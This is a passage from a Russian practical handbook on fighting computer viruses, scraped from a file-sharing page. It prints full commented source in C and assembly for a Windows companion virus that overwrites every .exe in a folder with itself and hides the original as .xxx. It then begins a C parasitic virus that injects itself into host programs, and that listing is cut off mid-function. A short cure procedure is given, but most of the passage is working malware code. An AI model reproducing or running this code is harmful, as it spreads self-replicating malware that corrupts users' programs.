Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать
}
FindClose(find_handle);

Windows вирусы

161

 

 

а) До инфицирования:

б) После инфицирования:

Перейдем к комментированному листингу:

//---------------------------------------------

 

#include "windows.h"

// Используемый библиотечный файл

//---------------------------------------------

 

char* preob(char *stroka)

// Функция, преобразующая строку, заменяет последние 3 симво-

ëà

 

{

// строки на "xxx"

int dlina;

 

dlina=lstrlen(stroka);

// В переменной dlina сохраняется длина строки - stroka

stroka[dlina-3]='x';

// Непосредственно сама

stroka[dlina-2]='x';

// замена

stroka[dlina-1]='x';

// последних трех символов строки

return stroka;

// Выход из функции и возвращение преобразованной строки

}

 

//---------------------------------------------

int main(int argc, char *argv[]) // Тело основной программы

{

 

 

 

HANDLE find_handle;

// Хэндл поиска

 

WIN32_FIND_DATA ff;

// Структура с

результатами поиска

double size=52736;

// Размер вируса

char *stroka;

 

 

// Переменные, необходимые для

char *v="

 

 

"; // размножения вируса

char msg1[50]="[ VIRUS WIN32 COMPANION -=w32.sysop=- ]";// Имя вируса

find_handle=FindFirstFileA("*.exe",&ff);

// Вызываем функцию поиска

while (1)

 

//

Бесконечный цикл поиска и инфицирования

{

 

 

 

if (ff.nFileSizeLow==size)goto nexta;

// Если найденная программа вирус, то его

 

 

//

не заражаем

lstrcpy(v,ff.cFileName);

 

//

Копируем в переменную v имя найденного файла

stroka=ff.cFileName;

 

//

Переменной stroka присваиваем имя файла

stroka=preob(stroka);

 

//

Затем преобразуем его расширение в *.xxx

CopyFileA(v,stroka,1);

 

//

Найденный *.exe файл в файл *.xxx

CopyFileA(argv[0],v,0);

 

//

Копируем вирус в найденный *.exe файл

nexta:

if (!FindNextFileA(find_handle,&ff)) break; // Ищем следующий, если файлов нет, то // выходим из цикла

// Закрываем поиск

162

Windows вирусы

 

 

stroka=argv[0];

// stroka присваиваем имя программы, из которой вирус запущен

stroka=preob(stroka);

// Преобразовываем расширение файла в *.xxx

if(CopyFileA(stroka,"31337.exe",0)) // Копируем этот файл в 31337.exe

{WinExec("31337.exe",1);}

// Если скопирован удачно, то запускаем его

DeleteFileA("31337.exe");

// После окончания его работы файл удаляем

return(0);

// Завершаем работу программы

}

 

//---------------------------------------------

 

Рассмотрим функционирование данного вируса более подробно. Начнем с первого блока:

//---------------------------------------------

 

char* preob(char *stroka)

// Функция преобразующая строку, заменяет последние 3 символа

{

// Строки на "xxx"

int dlina;

 

dlina=lstrlen(stroka);

// В переменной dlina сохраняется длина строки - stroka

stroka[dlina-3]='x';

// Непосредственно сама

stroka[dlina-2]='x';

// замена

stroka[dlina-1]='x';

// последних трех символов строки

return stroka;

// Выход из функции и возвращение преобразованной строки

//---------------------------------------------

 

Данный блок состоит из одной функции, которая принимает один параметр — строку. Затем функция заменяет последние три символа строки на «xxx», а в качестве результата возвращает измененную строку. Данная функция необходима для преобразования имени файла из *.exe в *.xxx.

Переходим ко второму блоку:

//---------------------------------------------

 

HANDLE find_handle;

// Хэндл поиска

WIN32_FIND_DATA ff;

// Структура с результатами поиска

double size=52736;

// Размер вируса

char *stroka;

// Переменные, необходимые для

char *v="

"; // размножения вируса

char msg1[50]="[ VIRUS WIN32 COMPANION -=w32.sysop=- ]";// Имя вируса find_handle=FindFirstFileA("*.exe",&ff); // Вызываем функцию поиска

//---------------------------------------------

Во втором блоке находится описание основных переменных и структур, также начинается поиск файла жертвы.

Переходим к третьему блоку:

//---------------------------------------------

 

while (1)

// Бесконечный цикл поиска и инфицирования

{

 

if (ff.nFileSizeLow==size)goto nexta; // Если найденная программа вирус, то его

 

// не заражаем

lstrcpy(v,ff.cFileName);

// Копируем в переменную v имя найденного файла

Windows вирусы

 

163

 

 

stroka=ff.cFileName;

// Переменной stroka присваиваем имя файла

stroka=preob(stroka);

// Затем преобразуем его расширение в *.xxx

CopyFileA(v,stroka,1);

//

Найденный *.exe файл в файл *.xxx

CopyFileA(argv[0],v,0);

//

Копируем вирус в найденный *.exe файл

nexta:

if (!FindNextFileA(find_handle,&ff)) break; // Ищем следующий, если файлов нет, то

}

//

выходим из цикла

FindClose(find_handle);

//

Закрываем поиск

//---------------------------------------------

 

 

В начале данного блока идет вход в бесконечный цикл, в котором сначала происходит проверка на то, чтобы не происходило инфицирования уже зараженных программ. Далее в переменной v сохраняется имя найденного файла, а в переменную stroka помещается идентичное имя, только с расширением «*.xxx». После этого найденный файл копируется в идентичный с расширением «*.xxx», а сама вирусная программа копируется в найденный файл. Затем идет поиск следующего файла. Если файлов больше нет, то выход из цикла, и поиск закрывается.

Переходим к четвертому блоку:

//---------------------------------------------

 

 

 

stroka=argv[0];

// stroka присваиваем имя программы, из которой вирус запущен

stroka=preob(stroka);

// Преобразовываем расширение файла в

*.xxx

if(CopyFileA(stroka,"31337.exe",0)) //

Копируем этот файл в 31337.exe

{WinExec("31337.exe",1);}

//

Если скопирован удачно, то

запускаем его

DeleteFileA("31337.exe");

//

После окончания его работы

файл удаляем

return(0);

// Завершаем работу программы

 

//---------------------------------------------

 

 

 

В начале данного блока в переменную stroka помещается имя программы, из которой запущен вирус. Затем расширение файла преобразуется в «*.xxx». Потом этот файл копируется в файл с именем «31337.exe» и, если копирование прошло удачно, то этот файл запускается. После завершения работы «31337.exe» данный файл удаляется, и работа вируса завершается.

Теперь аналогичный вирус, но на Ассемблере. Он, естественно, гораздо меньше, но не проще. Принцип его функционирования, как у предыдущего вируса.

Следует рассмотреть, как выглядит файл до инфицирования и после: а) до инфицирования:

б) после инфицирования:

164 Windows вирусы

Вот листинг:

;----------------------------------------------

.386

.model flat

;Ниже идут импортируемые функции

extrn

ExitProcess:PROC

extrn

FindFirstFileA:PROC

extrn

CopyFileA:PROC

extrn

GetCommandLineA:PROC

extrn

FindNextFileA:Proc

extrn

lstrcpyA:PROC

extrn

FindClose:PROC

extrn

MessageBoxA:PROC

extrn

WinExec:PROC

 

extrn

DeleteFileA:PROC

.data

 

 

; Область данных

EXE_file

db

'*.exe',0

ext

db

'xxx',0

exec

db

'exe',0

find_file

db

313

dup(?)

host_name

db

100

dup(?)

Find_data_name

equ

2ch

 

file_size

equ

20h

 

Fhandle

dd

?

 

convert_name

db

100

dup(?)

backup_name

db

100

dup(?)

temp_file

db

'31337.exe',0

msg1

db

'[ WIN32 COMPANION VIRUS -=w32.r3d=- ]' ; Имя вируса

;----------------------------------------------

.code

 

 

;

start:

 

 

; С этого места начинается программа

;Функция GetCommandLine()

;Возвращает в eax смещение на командную строку

Call

GetCommandLineA

; Данной функции параметры не передаются

push

eax

; Положим в стек смещение на командную строку

push

offset host_name

; Копируем ее в переменную host_name

 

 

;

call

lstrcpyA

; Вызываем функцию копирования строки

;----------------------------------------------

 

 

;Функция FindFirstFileA(LPSTR lpszSearchFile, LPWIN32_FIND_DATA lpffd)

;Возвращает хэндл поиска

push

OFFSET

find_file

;

Положим

â ñòåê

смещение на

find_file

push

OFFSET

EXE_file

;

Положим

â ñòåê

смещение на

маску поиска

call

FindFirstFileA

; Вызываем функцию FindFirstFileA

cmp

EAX, -1

;

Если нет ни одного нужного нам файла,

je

End_it

;

то идем на выход

 

Windows вирусы

165

 

 

 

 

 

; Иначе

mov

[Fhandle],eax

; в переменной Fhandle сохраняем хэндл поиска

;----------------------------------------------

infect:

 

 

mov

esi,offset find_file+file_size ; В esi смещение на размер файла

lodsd

 

; Загружаем этот размер в eax

cmp

eax,4096

; Если это вирус,

je

find_next

; то его не заражаем

call

convert

; Меняем расширение файла на "*.xxx"

push

1

; Не перезаписываем

push

offset convert_name

; Копируем найденный нами файл в

push

offset find_file + Find_data_name ; Файл с таким же именем, но

 

 

; с расширением "*.xxx"

call

CopyFileA

; Вызов функции копирования

push

0

; Перезаписываем

push

offset find_file + Find_data_name ; Копируем вирус в найденный

push

offset host_name

; Ôàéë

call

CopyFileA

; Вызов функции копирования

find_next:

 

 

Call

Fnext

; Вызов процедуры поиска

 

 

; следующего файла

cmp

eax,0

; Если файлы закончились,

jne

infect

; значит, двигаемся к выходу

End_it:

 

 

push

offset [Fhandle]

; Закрываем поиск

call

FindClose

;

call

restore

; Вызываем процедуру запуска

 

 

; Оригинальной программы

push

0

;

call

ExitProcess

; Завершение программы

;----------------------------------------------

Fnext:

 

; Процедура поиска следующего файла

;bool FindNextFileA( handle, pointer find_file)

;Возвращает 0, если файлов больше нет, и 1 в обратном случае

push

offset find_file

;

Положим

â ñòåê

смещение на find_file

push

[Fhandle]

;

Положим

â ñòåê

хэндл

call

FindNextFileA

;

Вызываем функцию поиска

 

 

; следующего файла

ret

 

;

Возврат из процедуры

;----------------------------------------------

 

convert2:

 

mov esi,offset host_name

; Процедура изменения расширения в файле,

 

; откуда

mov edi,offset backup_name

; запущен вирус (на "*.xxx")

jmp try1

;

166

 

Windows вирусы

 

 

 

convert:

 

; Процедура изменения расширения найденного

 

mov esi,offset find_file+Find_data_name ; файла на "*.xxx"

 

mov edi,offset convert_name

 

try1:

 

 

 

lodsb

; Загрузка байта в al из источника (esi)

 

cmp al,'.'

; Проверка, не точка ли это

 

stosb

; Помещаем байт в приемник (edi)

 

jne try1

; Если точка, то меняем расширение

 

lea esi,ext

; В esi кладем смещение на новое расширение

 

mov ecx,4

; В ecx количество байт для замены

 

rep movsb

; Перемещаем байты

ret

 

; Возврат из процедуры

;----------------------------------------------

 

 

restore:

 

; Процедура запуска оригинальной программы

 

call convert2

; Вызов процедуры изменения расширения файла

 

push 0

; Перезаписываем,

 

push offset temp_file

; копируем файл с таким же именем, как тот, из

 

push offset backup_name

; которого мы запустились, но с расширением

 

call CopyFileA

; "*.xxx", â ôàéë "31337.exe"

 

cmp eax,0

; Если файл не скопирован,

 

je exit

; то идем на выход

 

push 1

; Запускаем программу "31337.exe"

 

push offset temp_file

;

 

Call WinExec

;

 

push offset temp_file

; После окончания работы удаляем

 

call DeleteFileA

; ýòîò ôàéë

exit:

 

 

 

ret

; Возврат из процедуры

;----------------------------------------------

 

 

end

start

 

;----------------------------------------------

Разберем данный вирус поподробнее. Начинаем, как обычно, с первого блока:

;----------------------------------------------

 

start:

; С этого места начинается программа

;Функция GetCommandLine()

;Возвращает в eax смещение на командную строку

Call

GetCommandLineA

; Данной функции параметры не передаются

push

eax

; Положим в стек смещение на командную строку

push

offset host_name

; Копируем ее в переменную host_name

 

 

;

call

lstrcpyA

; Вызываем функцию копирования строки

;----------------------------------------------

 

 

;Функция FindFirstFileA(LPSTR lpszSearchFile, LPWIN32_FIND_DATA lpffd)

;Возвращает хэндл поиска

push OFFSET find_file

; Положим в стек смещение на find_file

Windows вирусы

167

 

 

 

push

OFFSET EXE_file

; Положим в стек смещение на маску поиска

call

FindFirstFileA

; Вызываем функцию FindFirstFileA

cmp

EAX, -1

; Если нет ни одного нужного нам файла,

je

End_it

; то идем на выход

 

 

; Иначе

mov

[Fhandle],eax

; в переменной Fhandle сохраняем хэндл поиска

;----------------------------------------------

 

 

В начале данного блока мы вызываем функцию получения командной строки, затем копируем ее в переменную host_name. Далее вызываем функцию поиска первого файла, и если результаты поиска положительные, то сохраняем хэндл поиска в переменную Fhandle.

Переходим ко второму блоку:

;----------------------------------------------

 

 

infect:

 

 

mov

esi,offset find_file+file_size ; В esi смещение на размер файла

lodsd

 

; Загружаем этот размер в eax

cmp

eax,4096

; Если это вирус,

je

find_next

; то его не заражаем

call

convert

; Меняем расширение файла на "*.xxx"

push

1

; Не перезаписываем

push

offset convert_name

; Копируем найденный нами файл в

push

offset find_file + Find_data_name ; файл с таким же именем, но

 

 

; с расширением "*.xxx"

call

CopyFileA

; Вызов функции копирования

push

0

; Перезаписываем

push

offset find_file + Find_data_name ; Копируем вирус в найденный

push

offset host_name

; ôàéë

call

CopyFileA

; Вызов функции копирования

;----------------------------------------------

 

 

В данном блоке находится сама процедура инфицирования. В начале находится проверка на то, чтобы вирус не заражал сам себя. Самый простой путь решения этой задачи — заражать все программы, не равные по размеру 4096 байт. Затем вызывается процедура преобразования имени найденного файла в «*.xxx». После этого найденный файл копируем в файл с расширением «*.xxx» и только после этого копирования переносим тело вируса в найденный файл.

Перейдем к третьему блоку:

;----------------------------------------------

 

 

find_next:

 

 

Call

Fnext

; Вызов процедуры поиска

 

 

; следующего файла

cmp

eax,0

; Если файлы кончились,

jne

infect

; значит, двигаемся к выходу

End_it:

 

 

push

offset [Fhandle]

; Закрываем поиск

call

FindClose

;

168

 

Windows вирусы

 

 

 

call

restore

; Вызываем процедуру запуска

 

 

; оригинальной программы

push

0

;

call

ExitProcess

; Завершение программы

;----------------------------------------------

 

 

Данный блок начинается с того, что вызывается процедура поиска следующего файла. Если файлов больше нет, поиск закрывается, производится запуск оригинальной программы, и завершается работа вируса.

Переходим к пятому блоку:

;----------------------------------------------

 

Fnext:

; Процедура поиска следующего файла

;bool FindNextFileA( handle, pointer find_file)

;Возвращает 0, если файлов больше нет и 1 в обратном случае

push

offset find_file

; Положим

в стек смещение на find_file

push

[Fhandle]

; Положим в стек хэндл

call

FindNextFileA

;

Вызываем функцию поиска следующего файла

ret

 

;

Возврат

из процедуры

;----------------------------------------------

Это процедура поиска следующего файла. В ней, как и положено, параметры ложатся в стек в обратном порядке, вызывается сама функция FindNextFileA, и после этого управление возвращается в основную программу.

Теперь шестой блок:

;----------------------------------------------

 

 

convert2:

 

 

mov esi,offset host_name

; Процедура изменения расширения в файле

 

;

откуда

mov edi,offset backup_name

; запущен вирус (на "*.xxx")

jmp try1

;

 

convert:

;

Процедура изменения расширения найденного

mov esi,offset find_file+Find_data_name ; Файла на "*.xxx"

mov edi,offset convert_name

 

 

try1:

 

 

lodsb

; Загрузка байта в al из источника (esi)

cmp al,'.'

; Проверка, не точка ли это

stosb

; Помещаем байт в приемник (edi)

jne try1

; Если точка, то меняем расширение

lea esi,ext

; В esi кладем смещение на новое расширение

mov ecx,4

; В ecx количество байт для замены

rep movsb

; Перемещаем байты

ret

; Возврат из процедуры

;----------------------------------------------

 

 

Две процедуры полностью идентичны по логике работы. Единственное их отличие — это работа с разными переменными. Можно было бы превратить их в одну процедуру, а параметры передавать через стек, но мне это делать не нравится.

Windows вирусы

169

 

 

Перейдем к последнему, седьмому блоку:

;----------------------------------------------

 

restore:

; Процедура запуска оригинальной программы

call convert2

; Вызов процедуры изменения расширения файла

push 0

; Перезаписываем

push offset temp_file

; Копируем файл с именем таким же, как тот, из

push offset backup_name

; которого мы запустились, но с расширением

call CopyFileA

; "*.xxx" â ôàéë "31337.exe"

cmp eax,0

; Если файл не скопирован,

je exit

; то идем на выход

push 1

; Запускаем программу "31337.exe"

push offset temp_file

;

Call WinExec

;

push offset temp_file

; После окончания работы удаляем

call DeleteFileA

; ýòîò ôàéë

exit:

 

ret

; Возврат из процедуры

;----------------------------------------------

 

Это процедура запуска оригинальной программы. Зараженная программа хранится в файле с расширением «*.xxx» и с именем, как у вирусной программы. В данной процедуре мы копируем оригинальную программу во временный файл «31337.exe», после этого запускаем ее. А когда она закончит свою работу, временный файл удаляется.

Вот, в общем, и все необходимые знания для понимания работы вирусов типа companion в операционных системах семейства MS Windows.

Разберем теперь алгоритм лечения данного вируса:

1)обнаружить вирус;

2)удалить вирусную программу;

3)сменить расширение оригинальной программы на *.exe.

Глава 3 Простейшие parasitic вирусы

Вирусы, работающие по простейшему алгоритму паразитизма, функционально не отличаются друг от друга, под какую бы платформу они ни писались.

Сначала рассмотрим Windows-паразит написанный на C++. Это будет *.exe паразит, который работает по следующему алгоритму:

1)удаляем файл w32drv.exe;

2)находим все жертвы в текущем каталоге;

3)если найден файл vasya.exe, то он проверяется на инфицированность;

4)если файл vasya.exe заражен, то переходим к на шаг 1, если нет, то на

øàã 4;

5)прочитаем vasya.exe в память;

6)запишем тело вируса в vasya.exe;

7)допишем в vasya.exe из памяти тело программы;

170

Windows вирусы

 

 

8)проверим, если файл, из которого мы запустились, больше длины вируса, то перепишем все, что находится после тела вируса, в файл w32drv.exe;

9)запустим его. После того, как он отработает, сменим атрибуты на «скрытый» и после этого попробуем удалить его. Атрибуты мы меняем по той причи- не, что если файл не удалится, то хотя бы видно его не будет;

10)конец.

Следует рассмотреть, как выглядит файл до инфицирования и после: а) до инфицирования:

б) после инфицирования:

Переходим к листингу:

//---------------------------------------------

 

#include "windows.h"

 

bool test(WIN32_FIND_DATA ff)

// Функция проверки на инфицированность

{

 

HANDLE fh;

// Переменные

char buff[2000];

//

fh=CreateFileA(ff.cFileName,GENERIC_READ,FILE_SHARE_READ,0,3,128,0); // Открытие

 

// файла

ReadFile(fh,buff,2000,&ff.nFileSizeLow,NULL); // Чтение из файла 2000 байт в буфер

CloseHandle(fh);

// Закрытие файла

if ((buff[1550]=='Q')&&(buff[1551]=='3')) {return(TRUE);} // Если файл заражен,

else {return(FALSE);}

// то возвращаем 1, иначе 0

}

 

//---------------------------------------------

 

void restore(char *fname)

// Функция запуска оригинального файла

{

 

HANDLE mh;

//

HANDLE fh;

// Переменные

unsigned long size1; // fh=CreateFileA(fname,GENERIC_READ,FILE_SHARE_READ,0,3,128,0); //Открываем файл, из size1=GetFileSize(fh,0); // которого был запущен вирус, и получаем его размер mh=VirtualAlloc(NULL,size1,MEM_COMMIT,PAGE_READWRITE); //Выделяем память _llseek((int)fh,53248,FILE_BEGIN); // Переходим за тело вируса к программе

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]